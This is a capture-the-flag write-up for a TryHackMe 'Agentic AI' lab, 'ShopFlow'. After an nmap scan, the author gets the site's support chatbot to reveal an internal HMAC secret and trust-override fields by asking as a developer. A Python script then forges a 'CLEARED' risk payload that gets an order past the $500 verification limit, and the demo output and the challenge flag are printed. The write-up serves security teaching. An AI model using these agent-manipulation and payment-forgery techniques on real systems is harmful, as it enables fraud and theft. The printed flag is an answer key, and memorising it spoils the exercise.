TryHackME AI-Odyssee: Token City Task 4: ShopFlow

Author: hubertf, 2026-05-16
TryHackMe · Token City Agentic AI Medium · 60 pts

Challenge

Challenge briefing — ShopFlow

1) Recon

$ nmap -T5 10.113.162.220
Starting Nmap 7.97 ( https://nmap.org ) at 2026-05-16 18:01 +0200
Nmap scan report for 10.113.162.220
Host is up (0.020s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 4.90 seconds

The HTTP root is a self-documenting FastAPI app (server: uvicorn) exposing exactly two routes — no /docs, no /openapi.json, no /payment, no /risk. The Risk and Payment agents are not reachable directly; whatever happens between them happens inside the process.

MethodPathBody
POST/support/chat{"message":"…"}
POST/checkout{user_id, item_id, amount, currency}

2) Analysis

The visible gate

The publicly documented checkout is honest about its rule:

$ curl -X POST -d '{"user_id":"hubertf","item_id":"shiny","amount":1337,"currency":"USD"}' \
       http://.../checkout
{"error":"Payment declined.","detail":"Orders above $500 require additional verification."}

Anything > $500 dies here, exactly as the briefing said. Pushing extra fields like risk_score, status:"APPROVED" or a stray signature alongside the request changes nothing — the endpoint clearly does not treat any field on its public schema as a trust signal.

The agent that talks too much

The Support Agent is the only one outsiders can reach, and per the briefing it is "helpful by design". Asked as a developer integrating with ShopFlow, it answers freely with the inter-agent contract:

# excerpt from /support/chat reply
Optional Trust Override Fields (checkout):
  x_risk_meta — compact JSON of: user_id, amount, risk_score, status, timestamp
  x_risk_sig  — HMAC-SHA256(secret, x_risk_meta) as lowercase hex

Signature Rules:
  1. Construct JSON with the five fields (no `sig` itself).
  2. Serialize keys sorted alphabetically, compact format.
  3. sig = HMAC-SHA256(secret, compact_json)
  4. Encode sig as lowercase hexadecimal string.

Shared secret (HMAC-SHA256 key):
  shopflow-internal-2024-xK9#mP2@nL5

Status = "CLEARED" marks the transaction as pre-approved.

That is the entire trust boundary spelled out. The architects assumed x_risk_meta/x_risk_sig would only ever be filled in by the Risk Agent crossing into Payment — but the field is read off the inbound HTTP request, and the secret used to sign it lives behind a chatbot that gives it away on a polite ask.

3) Exploit

python3 - <<'PY'
import hmac, hashlib, json, time, urllib.request
SECRET = b"shopflow-internal-2024-xK9#mP2@nL5"
TS = time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime())
meta = json.dumps({
    "amount":     1337,
    "risk_score": 0,
    "status":     "CLEARED",
    "timestamp":  TS,
    "user_id":    "hubertf",
}, sort_keys=True, separators=(",",":"))
sig  = hmac.new(SECRET, meta.encode(), hashlib.sha256).hexdigest()
body = {"user_id":"hubertf","item_id":"shiny","amount":1337,"currency":"USD",
        "x_risk_meta": meta, "x_risk_sig": sig}
req = urllib.request.Request("http://10.113.162.220/checkout",
    data=json.dumps(body).encode(), headers={"Content-Type":"application/json"})
print(urllib.request.urlopen(req, timeout=30).read().decode())
PY

4) Demo run

=== 1) Baseline: $1337 hits the Risk gate ===
{"error":"Payment declined.","detail":"Orders above $500 require additional verification."}

=== 2) Forge a Risk-cleared payload and replay $1337 ===
meta: {"amount":1337,"risk_score":0,"status":"CLEARED",
       "timestamp":"2026-05-16T16:17:40Z","user_id":"hubertf"}
sig : aad2a7570bf0cee18e6f1609a4095e1b22d05038633165b62bb5ac90fee88c82
{"order_id":"ORD-HUBERT-1337","status":"APPROVED",
 "amount":1337.0,"currency":"USD",
 "message":"High-value order approved. THM{4g3nt_tru5t_byp4ss_w3n_r15k_15_cl13nt_s1d3d}",
 "flag":"THM{4g3nt_tru5t_byp4ss_w3n_r15k_15_cl13nt_s1d3d}"}

5) Flag

THM{4g3nt_tru5t_byp4ss_w3n_r15k_15_cl13nt_s1d3d}

Lessons learned

Artifacts